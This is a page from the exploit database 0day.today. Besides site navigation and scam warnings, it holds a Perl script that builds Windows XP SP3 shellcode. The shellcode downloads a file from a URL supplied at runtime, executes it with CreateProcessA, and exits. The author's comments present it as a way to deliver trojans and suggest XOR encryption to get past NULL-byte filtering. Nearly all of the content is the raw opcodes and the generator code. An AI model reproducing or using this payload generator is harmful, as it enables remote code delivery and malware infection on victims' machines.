0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
win32/xp sp3 (SPA) URLDownloadToFileA + CreateProcessA + ExitProcess
==================================================================== win32/xp sp3 (SPA) URLDownloadToFileA + CreateProcessA + ExitProcess ==================================================================== #!/usr/bin/perl #c0d3d by r0i aka d0lc3 # #Exploit Title: ShellCode WinXP SP3 SPA URLDownloadToFileA + CreateProcessA + # ExitProcess #Date: 24/06/2010 #Size: 176 bytes++ #Author: d0lc3 d0lc3x[at]gmail[dom]com #Author Link: http://elotrolad0.blogspot.com/ #Tested on: Windows XP 32 bits Service Pack 3 (lang. spanish) #Summary: # #Shellcode: URLDownloadToFileA + CreateProcessA + ExitProcess # #This script will build shellcode necessary to download file (you know trojanS? :D) and #execute it later, finally exiting process. #Size of shellcode is 176 bytes WITHOUT URL and FILE strings length. #Best method to avoid NULL bytes maybe is crypt shellcode (XOR simple & effective) and #add routine to decrypt it before perform it. #MAX URL SIZE: 255 bytes #MAX FILE SIZE: 255 bytes # # # # # # system("clear"); if($#ARGV!=0) { &usage(); } else{ &banner(); } $URL=$ARGV[0]; $FILE=&getFileName($URL); $leng=length($URL)+length($FILE)+176; #176 default length of shellcode #opcodes from OllyDBG :) $ShellCode = '\xE8\x00\x00\x00\x00'. #getting offsets and delta offset '\x8D\x44\x24\xFF'. '\x40'. '\x8D\x1D\x06\x10\x40\x00'. '\x4B'. '\x8B\x00'. '\x2B\xC3'. '\x8B\xE8'. '\x33\xDB'. '\x32\xD2'. '\xB8\xA6\x10\x40\x00'. '\xEB\x01'. '\x43'. '\x38\x14\x03'. '\x75\xFA'. '\x89\x9D\x56\x32\x40\x00'. '\xEB\x6E'. '\x5A'. '\x89\x95\xFF\x30\x40\x00'. '\x8D\x9D\x56\x32\x40\x00'. '\x8B\x1B'. '\x81\xC3\xA7\x10\x40\x00'. '\xFF\xE3'. '\x5A'. '\x89\x95\x00\x30\x40\x00'. '\x33\xC9'. '\x51'. '\x51'. '\x8D\x85\xFF\x30\x40\x00'. '\x8B\x00'. '\x50'. #push Url offset '\x8D\x85\x00\x30\x40\x00'. '\x8B\x00'. '\x50'. #push file offset '\x51'. '\xB8\xED\x77\x4B\x44'. #mov EAX,URLDownloadToFileA '\x40'. '\x40'. '\x8B\xFF'. '\xFF\xD0'. #call EAX (URLDown...) '\x8D\x85\xFE\x31\x40\x00'. '\x50'. '\x8D\x85\x0E\x32\x40\x00'. '\x50'. '\x33\xC9'. '\x51'. '\x51'. '\x51'. '\x6A\x01'. '\x51'. '\x51'. '\x51'. '\x8D\x85\xFF\x30\x40\x00'. '\x8B\x00'. '\x50'. #push EAX ( file offset ) '\xE8\xD5\x12\x40\x7C'. #call CreateProcessA '\x33\xC9'. '\x51'. '\xE8\x74\xBA\x41\x7C'. '\x8D\x9D\x30\x10\x40\x00'. '\xFF\xD3'. $FILE.'\x00'. #call for push FILE string offset '\x8D\x1D\x47\x10\x40\x00'. '\xFF\xD3'. #call for push URL string offset $URL.'\x00'; print"\n\n\n[+]URL: ".$URL."\n[+]File: ".$FILE."\n[+]Length: ".$leng."\n[+]Shellcode:\n".$ShellCode."\n"; &credits(); #Getting FileName sub getFileName($url){ $url=shift; $slash="/"; $FileName=substr($URL,rindex($URL,$slash)+1); return $FileName; } #usage subroutine sub usage(){ print"[+]Usage: perl $0 <Url_of_file>\n"; print"[+]Example: perl $0 \"http://myURL.net/myFiles/myFileToDownload.exe\"\n"; &credits(); } #mycr3di7s }:D sub credits(){ print"\n\n"."-"x10 ."> c0d3d_by_d0lc3 <"."-"x10 ."\n\n"; exit(0); } #m0re cr3ditZ?.. sub banner(){ print q" ++. ` `o+- -dMMMh- .+ `sNMMMd/ `++hMMMMN .s:+/ymMMMMMh /` hMMMM/+o :mMMMM. ######################################## hMMMM`./ oMMMm # SC0de Gen3rat0r # `/+mMMMM`./ mMMy` ######################################## +NMMMMMMM`.+ .dd+` #by d0lc3# `No:-hMMMM.`/`-+hMMNs` ########## ` `-hMMMM++s-`-yMMMMM/ -dMMMMMMM..+ -MMMMN. .NmysmMMMM..o yMMMM/ 0p3n y0ur m1nd, .: hMMMM..+ /MMMMo 7h1nk fr33!!! hMMMM.`/`- `NMMMd `o` -+mMMMMdhy:` yMMMMd/+. /yNNNNMMMMMy/ `hMMMN/ :s/-` `./s+`/ /dy. "; } # 0day.today [2024-10-05] #